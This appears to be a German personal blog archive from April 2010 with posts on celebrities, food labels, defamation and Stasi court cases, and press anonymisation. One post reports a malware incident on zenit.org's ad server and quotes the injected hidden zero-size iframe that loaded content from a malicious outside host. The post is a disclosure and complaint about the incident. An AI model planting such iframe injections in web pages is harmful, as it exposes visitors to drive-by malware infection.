30.4.10

Karriere-Abschwung für La Lopez

Katharina Miklis von der Welt lästert gekonnt über Jennifer Lopez:
Die ersten Anzeichen für eine stagnierende Karriere sind: Wenn Promifrauen anfangen, eine eigene Modelinie herauszubringen. Oder ein Parfum. Manche eröffnen ein Restaurant. Oder werden Schmuckdesignerin. Jennifer Lopez hat das in den vergangenen Jahren alles getan.
Es gibt noch weitere Anzeichen dass die "jungen" Jahre einer Schauspielerin vorbei sind. Diese wurden durch Goldie Hawn in dem Film "Der Tod steht ihr gut" aufgezählt. Ich erinnere mich nicht mehr genau (und es fehlt auch in der IMDB), aber ein weiteres Kennzeichen ist eine Rolle als "Die Staatsanwältin".

Demnoch ist JLo noch immer um Klassen besser als eine gewisse Deutsch-Südamerikanische "Werbeikone", die dank unangenehmer Stimme nur wenige Sekunden Filmerfahrung hat und nun Werbung für "Kik" macht.

26.4.10

Neues Wort (30)

Boobquake: Frauen zeigen bebendes Holz vor der Hütte. Und warum? Ein Iranischer "Geistlicher" hatte vor ein paar Tagen behauptet, dass zu leicht bekleidete Frauen Erdbeben verursachen würden. Daraufhin rief eine gewisse Jennifer McCreight den "Boobquake" Tag am 26.4.2010 auf, an dem sich Frauen besonders freizügig kleiden sollen um die Theorie zu wiederlegen. Dummerweise gabs nun tatsächlich ein Erdbeben - was statistisch nicht ungewöhnlich ist. (gawker.com)

Malware aus Rom

Zugriffe auf zenit.org ("Die Welt von Rom aus gesehen") führen anscheinend seit gestern zum Empfang von malware, u.a. eine Datei namens allv7.pdf sowie andere Inhalte die als malware erkannt werden. Ursache ist wohl deren ad server, der im javascript nach Aufruf von

http://advertising.zenit.org/www/delivery/ajs.php?zoneid=28&cb=1422&exclude=,&loc=

manchmal (aber nicht immer - mehrfach versuchen lohnt) Folgendes bringt:

"<"+"iframe src=\"http://trustandgoinc.com/in.cgi?default\" width=\"0\" height=\"0\" frameborder=\"0\"><"+"/iframe>

trustandgoinc.com hat, gelinde gesagt, keinen guten Ruf.

Nachtrag 21:27: es ist unklar ob das Problem nun behoben ist. Zenit antwortet nicht (trotz zwei Benachrichtigungen auf derem Kontaktformular http://zenit.org/form-8 !), malware-Meldungen kommen nicht mehr, aber das IFRAME tauchte noch auf. Es könnte aber auch sein dass trustandgoinc.com deaktiviert wurde.

Nachtrag 22:00: http://trustandgoinc.com/in.cgi?default achtet anscheinend darauf, wer aufruft, und liefert nur beim ersten Mal eine redirection auf eine andere dubiose Adresse, danach nur noch eine redirection auf google.

Nachtrag 27.4.2010 8:33: Google und Firefox haben trustandgoinc.com als "attackierend" registriert. Der Zenit ad server hat den Fehler noch immer.

Nachtrag 2.5.2010: Zwar noch immer keine Antwort von den Dilettanten aus Rom, aber der Zenit ad server ist nun gesperrt, nur über Kennwort zugänglich. Es wurde offenbar erst reagiert weil Google zenit.org selbst auf die Warnliste gesetzt hat. Die Stellungnahme von zenit.org ist, gelinde gesagt, scheinheilig - da der zenit.org ad server nun mal auf eine "böse" Seite verwiesen hat. Der Satz "Unsere Techniker garantieren, dass der Aufruf der Seiten keine Gefahr in sich birgt" ist ein Hohn - hätte ich damals nicht zeitnah nach der Heise-Meldung das update vom Acrobat Reader installiert, wäre ich nun infiziert.

25.4.10

Nicht handzahm (24): die Stuhlbesetzerin


Es gibt zwar genug freie Körbchen, aber im Chefstuhl entspannt es sich am besten!

24.4.10

Müller: Limitierte Maracuja

Für günstige 49 cent kaufte ich heute eine "Müllermilch LiMiTiERT Typ Rooibos Maracuja":


Dank regelmässige Sensibilisierung durch Foodwatch warf ich auch einen Blick auf die Zutatenliste (klick zum Vergrössern):


Irgendwie fehlt die Maracuja auf der Liste. Geschmacklich erinnerte mich der Inhalt eher an Mango und Caramel. Rooibos habe ich nicht geschmeckt, der ist aber auch "in echt" nicht sehr stark.

19.4.10

Schlecht anonymisiert (3): Die Sumpfversteher

Die Frankfurter Rundschau hat einen interessanten Artikel über die Nachwehen vom "Sachsensumpf", eine Verschwörungsgeschichte die auf üblen Tratsch aufgebaut war; durch den "stille Post" Effekt wurden die Behauptungen von Woche zu Woche bunter. Ich selbst erinnere mich an ein TV-Interview, in dem der "Zeuge" nicht einmal ansatzweise glaubwürdig erschien. Zum FR-Artikel:
Richter a. D. (...) hat heute noch schlaflose Nächte, wenn er an den 21. Januar 2008 zurückdenkt, als der Spiegel mit der Geschichte "Dreckige Wäsche" erschien. (...)

Angeklagt wegen Verleumdung sind zwei Leipziger Journalisten, Thomas D. und Arndt G., deren Namen unter dem Beitrag standen. Der Dresdner Büroleiter des Spiegel, auch in der Autorenzeile vermerkt, steht nicht vor Gericht: Das Magazin druckte eine Richtigstellung und akzeptierte eine Geldauflage von mehreren Tausend Euro.

Die Angeklagten (...) haben in einer von ihren Anwälten verlesenen Erklärung bestritten, dass die beanstandeten Passagen von ihnen stammten.
Schon eine einfache Suche nach dem Artikeltitel findet den Artikel mit den Namen der Angeklagten Autoren. Und BILDBlog linkt gar auf den ursprünglichen SPIEGEL-Artikel. (Eine "Richtigstellung" ist darin nicht zu finden, die war wohl nur im Heft)

Nachtrag: Die mit der FR verbandelte Berliner Zeitung berichtet gleich ohne Anonymisierung, lässt aber das entscheidende Detail weg - nämlich dass die beiden behaupten, sie hätten die Passagen gar nicht geschrieben.

17.4.10

Schlechte Woche für Stasi IMs

Gleich zweimal haben diese Woche ehemalige Stasi IMs, die verhindern wollten dass eben dies öffentlich genannt wird, Prozesse verloren:
  • "IM Schubert" verliert endgültig gegen den Zwickauer Pfarrer Edmund Käbisch (ddp)
    Mehr zum Thema hier und hier
  • "IM Wilfried" verliert in zweiter Instanz (Revision wurde zugelassen) vor dem Kammergericht, in der ersten Instanz hatte er noch gewonnen.
Nachtrag 8.6.2010: "IM Wilfried" lies die Revisionsfrist verstreichen, und verlor weitere Prozesse zum Thema. Nur gegen den RBB gewann er, aber nur weil der RBB zu feige war. (Tagesspiegel)

12.4.10

no change (11): dirty bomb PR

Für U.S. Präsident Obama läuft es derzeit politisch nicht so gut - also warnt er vor einer "schmutzigen Bombe". (FTD) Das Gleiche tat schon sein Vorgänger George W. Bush, er behauptete ein gewisser José Padilla würde genau so einen Anschlag planen. (Die Vorwürfe wurden später kleinlaut fallen gelassen und er wurde schliesslich "nur" noch allgemein wegen Verschwörung verurteilt)

Das Konzept einer "schmutzige Bombe" existiert meines Wissens nun schon seit Jahrzehnten. Es ist nicht mehr als eine üble Idee, deren Realisierung (zum Glück) extrem schwierig ist, für Propaganda-Zwecke aber immer gut geeignet.

11.4.10

Schlecht anonymisiert (2): der Mehl-Mann

In SPIEGEL-TV war ein interessanter Bericht über zwei inzwischen verurteilte Stalker (ein Auftraggeber und sein Handlanger), ein ähnlicher Bericht findet sich im Hamburger Abendblatt (falls Text nur für Abonnenten, hier klicken).

Die Hinweise: er heisse Rolf B., und sei Vorstand beim grössten Mehlhersteller gewesen.

Das klingt nach schlechter Anonymisierung, und lädt ein zur Recherche (so wie z.B. in diesem Fall).

Wer ist der grösste Mehlhersteller? Antwort hier. Den ehemaligen Vorstand findet man nun auch sehr leicht.

Nachtrag: Am 3.9.2010 berichtete das Handelsblatt ohne Anonymisierung: Der Stalker im Chefsessel

3.4.10

Gerdgas auf den Spuren von Barbra Streisand

Rechtsanwalt Schröder liess durch seinen Rechtsanwalt Nesselhauf den Rechtsanwalt Steinhöfel abmahnen wegen diesem Beitrag, der sich mit dem bisher unbekannten Beifahrer bei der Alkoholfahrt von Margot Käßmann befasst. (Focus) Unklar ist jedoch, welche der beiden Aussagen abgemahnt werden: die Beifahrer-Behauptung oder die "Putin-Lakai"-Bezeichnung. Klar ist jedoch, dass Schröder nun den Streisand-Effekt kennen lernt.

Den Beitrag selbst halte ich bzgl. der Beifahrer-Behauptung für zweifelhaft:
1) RA Steinhöfel gehört wohl kaum zu der entsprechenden Polit- oder EKD-Szene;
2) Wieso wurde der Name der prominenten Fahrerin an die Bildzeitung gegeben, nicht aber der Name des prominenten vermeintlichen Beifahrers?

Nachtrag 6.4.2010: Kaum ist die Osterpause vorbei, schon ist die einstweilige Verfügung zugestellt. Erlassen war sie bereits davor. Auch die Antragsschrift ist veröffentlicht, und auch von Anfängern problemlos zu verstehen: er war nicht Beifahrer. Und gleichzeitig ist nun klar, dass Schröder sich nicht gerichtlich gegen die "Putin-Lakai" Bezeichnung wehrt (die Antragsschrift geht nicht nochmal extra darauf ein, die eidesstattliche Erklärung des Ex-Kanzlers überhaupt nicht).

Nachtrag 9.4.2010: Kleinlaut schreibt Steinhöfel auf dem ursprünglichen Blog-Eintrag nun: "Die Behauptung ... beruhte auf unzutreffenden Informationen". Ursprünglich hatte er groß getönt, er habe zwei unabhängige Zeugen.

1.4.10

Falscher Wein? (2)

In dem Streit um Wein aus dem vermeintlichen Besitz von Thomas Jefferson gibt es eine neue Klage. Milliardär Bill Koch behauptet, die Leute gefunden zu haben die die Initialen "Th.J." auf Flachen eingraviert haben, nennt allerdings nicht die Namen. Und diese Handwerker seien nicht etwa 200 Jahre alt, sondern lebten in dem gleichen Dorf wie der noch lebende Weinguru, gegen den die Klage läuft. (Courthouse News Service, Winespector)

Zwar sind die Details der Klage interessant, aber den Erfolg halte ich für zweifelhaft: Kläger und Beklagte hatten kein Vertragsverhältnis, und der Beklagte lebt nicht in den USA.

Nachtrag 23.4.2010: Der Stern nennt Details zu den Graveuren.